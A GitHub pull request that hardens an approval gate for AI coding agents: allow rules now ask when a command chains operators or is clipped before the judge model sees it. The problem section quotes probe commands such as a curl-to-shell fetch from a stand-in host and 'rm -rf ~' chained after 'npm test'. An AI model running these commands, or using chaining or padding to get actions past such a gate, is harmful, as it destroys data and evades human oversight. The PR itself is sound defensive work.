Repository navigation
Conversation
An allow rule covers one command. The approval gate, which stays off by default, now turns a rule-driven allow (exact match or Jev) into an ask in two more cases: - compound: the full, unclipped command line of a Bash, command or shell approval contains a shell control operator or a line break (; && || | & backtick $( < > <( >( CR LF). Shell quoting is not parsed. A false positive only means a person is asked. - incomplete: the digest clipped the command (over MAX_COMMAND) or a title that is not just the command line (over MAX_TITLE), so Jev judged text it never fully saw. MAX_COMMAND is unchanged. The labels keep the order escalation, destructive, compound, incomplete. Never and Ask rules are unaffected. Always allow does not override compound or incomplete. YOLO still does. When the gate needed Jev (language rules, or the destructive check on a match allow) but could not consult it, the decision now says so even when no transport is configured. It carries jevNotConsulted and the reason "Jev is not configured or unavailable.", and the receipt shows "Jev not consulted" next to any downgrade label. `downgraded` now holds only real downgrades. Receipts written with the old "jev-unavailable" label still render. Co-Authored-By: Cody <cody@opencoven.ai> Coven-Familiar: cody Coven-Harness: claude-code / claude-opus-5-5
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
After merging main, three passages described behaviour this branch changes. The exact-match example said npm test* matches a chained command without saying it now asks. The readiness note listed the truncated-suffix false allow as open, though the guard closes it. The Always allow bullet named only the destructive downgrade. Each now says chained or partly-seen commands ask, and that the quoted-mention false allow is still open. status.md gets the same note. Co-Authored-By: Nova <nova@opencoven.ai> Coven-Familiar: nova Coven-Harness: claude-code / claude-opus-5-5
This branch was successfully deployed
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Problem
The approval gate (
engine/approvals/gate.ts) is off in production (DEFAULT_APPROVAL_GATE.enabled = false). This change has to land before anyone turns it on. Probes againstmain:matchesRule("Bash: npm test*", …)is true for$ npm test && rm -rf ~,$ npm test; curl https://x.example/i.sh | sh,$ npm test\nrm -rf ~and$ npm testify-and-push.*becomes.*with thesflag. Claude's approval title is$plus the full command, and Codex'scommandtitle is the raw command.matchallow rule and that chained action:{decision: "allow", source: "match"}with no marker. The receipt does not say Jev was skipped.{decision: "allow", downgraded: "jev-unavailable"}.{decision: "ask", downgraded: "destructive"}. Only a live, correct Jev saved it.npm test+ 510 spaces +&& rm -rf ./srcin all three repeats.digestActionclips commands atMAX_COMMAND = 500, so Jev never saw the destructive suffix.Change
An allow rule covers one command. A rule-driven allow (exact match or Jev) now becomes ask in two more cases:
compoundBash(Claude),command(Codex) orshell(scripted mock) approval contains;&&|||&(including2>&1), a backtick,$(<(>(><,\nor\r. The check readsinput.commandand the title (minus a leading$), and either one chaining is enough. Shell quoting is not parsed, sogrep "a|b"asks too. A false positive only means a person is asked.incompletedigestClipped(action)(new indigest.ts): the scrubbed command is longer thanMAX_COMMAND, or the title is longer thanMAX_TITLEand is not just the command line.MAX_COMMANDis unchanged.compound.policy.ts): Always allow does not overridecompoundorincomplete(nordestructive/escalation). The check is on the label itself, not only ondecision === "ask". YOLO still overrides.downgradednow holds only real downgrades (ApprovalDowngrade = "destructive" | "escalation" | "compound" | "incomplete"). A separatejevNotConsulted?: truesits onGateDecision,ApprovalReceiptandApprovalPreview, so "Jev not consulted" can appear next to any downgrade label. It is set whenever the gate needed Jev (unmatched language rules, or a match allow that would get the destructive check) and did not get an answer. That includes the transport-null case, withjevError: "Jev is not configured or unavailable.". Receipts written with the olddowngraded: "jev-unavailable"still render, throughjevNotConsulted()inshared/approval-receipt.ts.companion.tsis unchanged: an ask stays a normal card.approval-rules.md→ Decisions and receipts gets one paragraph: an allow covers one command, chained or redirected commands ask, long commands ask, the receipt notes when Jev was not consulted, and the pattern pairnpm test+npm test *is preferred tonpm test*.status.mdgets one sentence in the existing Approval rules (Jev-gated) entry.Design note on
incomplete: a ClaudeBashtitle is$plus the command, so it goes overMAX_TITLE(200) for any command of 199 to 500 characters. Jev still reads that command whole incommand. Counting the clipped title there would ask about every such command and protect nothing, so a title that is exactly the command line counts only through the command's own limit. All other titles (for exampleWebFetch, or rebuiltedit <path>titles) count when clipped. Paths (MAX_PATH/MAX_PATHS) are not considered; see below.The gate stays off. Nothing here enables it.
Relation to #163
This complements #163's no-go finding. #163 found six false allows in two cases. This PR closes one of them deterministically: a truncated destructive suffix, and chained suffixes generally, now ask without depending on Jev. It does not address the other case, a test command quoted inside
printf(printf 'npm test'style). That is a single command whose meaning depends on quoting, and this guard deliberately does not parse quoting. That case stays a judge-quality and pattern-narrowness problem. The doc edits are kept to one new paragraph and one sentence so they merge cleanly with #163's edits to the same two files (checked withgit merge-treeagainstapproval-provider-gates).Tests and evidence
New and updated unit tests (
apps/desktop/test/):approval-gate.test.ts:;&&\|\|\|&2>&1backtick$(<(>(><\n\r), each with Jev absent and with Jev live.npm testandnpm test -- --watch, and thenpm test+npm test *pair, which does not matchnpm testify-and-push.rm -rfand that the result is still ask/compound.WebFetchtitle, a 254-characterBashtitle that still allows, and Never staying never.jevNotConsultedinstead ofdowngraded: "jev-unavailable".approval-policy.test.ts: policy: Always allow does not override a compound or incomplete downgrade; YOLO doesapproval-receipt.test.ts: compound and incomplete card lines; a receipt says when Jev was not consulted, next to any downgrade label; older receipts still readapproval-preview.test.ts: preview reports a chained sample as compound and an unconfigured Jev as not consultedapproval-digest.test.ts: digestClipped: true exactly when Jev would see a clipped command, or a clipped title that is not the commandrunner.test.ts: a chained command under an allow rule waits for a human, even on an Always allow thread. The existing exact-match receipt assertion now includesjevNotConsulted: true.E2E (
e2e/approvals.spec.ts):echo one; touch chained.txtunder ashell: echo *allow rule. The card waits and reads exactlyAsked because: the command chains several commands; rule "print text" would have allowed it · Jev not consulted. After Deny, the file was not created.Fails on main. With
main'sgate.tsrestored as-is,approval-gate.test.jsfails to load becausechainsCommandsandJEV_NOT_CONFIGUREDare not exported. With only those two exports grafted ontomain'sgate.ts, anddecide()left unchanged, 8 of 21 tests fail: all seven new behaviour tests, plus the updated Jev-unavailable test. For example,;with Jev absent givesallow / undefinedwhereask / compoundis expected, and the transport-null case givesjevNotConsulted: undefinedwheretrueis expected. The two that pass onmainare the intended regression guards: plain commands still allow, and Never/Ask rules are unaffected. Withmain'spolicy.ts, the new policy test fails, because main returns "yes" for acompoundlabel.Local runs (macOS, this branch):
npm run buildnpm run typechecknpm test: core / desktop / site / store-desktopnpm test:test:worktreesnpm run test:e2e -w @modex/desktop -- e2e/approvals.spec.tsnpm run test:e2e, desktopnpm run test:e2e -w @modex/siteLocal failures unrelated to this change. This session's
nodeis~/Library/Application Support/OpenCoven/CovenCave/toolchains/node/v24.18.0/…/bin/node, a path that contains a space. The fixture CLIs inagents,browser-document,pages-agents,release,titlesandscripts/test/worktree-maintenance.test.mjsare written with a#!${process.execPath}shebang. A shebang cannot contain a space, so each fixture fails with "bad interpreter" and its CLI never runs. For example, the fakeopreports "1Password could not be read", and the pinnedghobserver is never called. None of those files differ frommain. With/opt/homebrew/binfirst onPATH, the six failing specs pass 42/42 and the worktree suite passes 75/75. The one non-fixture failure,window-lifecycle(native window size did not settle in 15 s), also passed on that rerun. CI decides.Not covered
incomplete. AfileChangewith more than 20 paths, or a path longer than 300 characters, is still judged on a partial list. This is a candidate follow-up, and it would need its own UI wording.✨ Co-authored by Cody, a Coven familiar for Val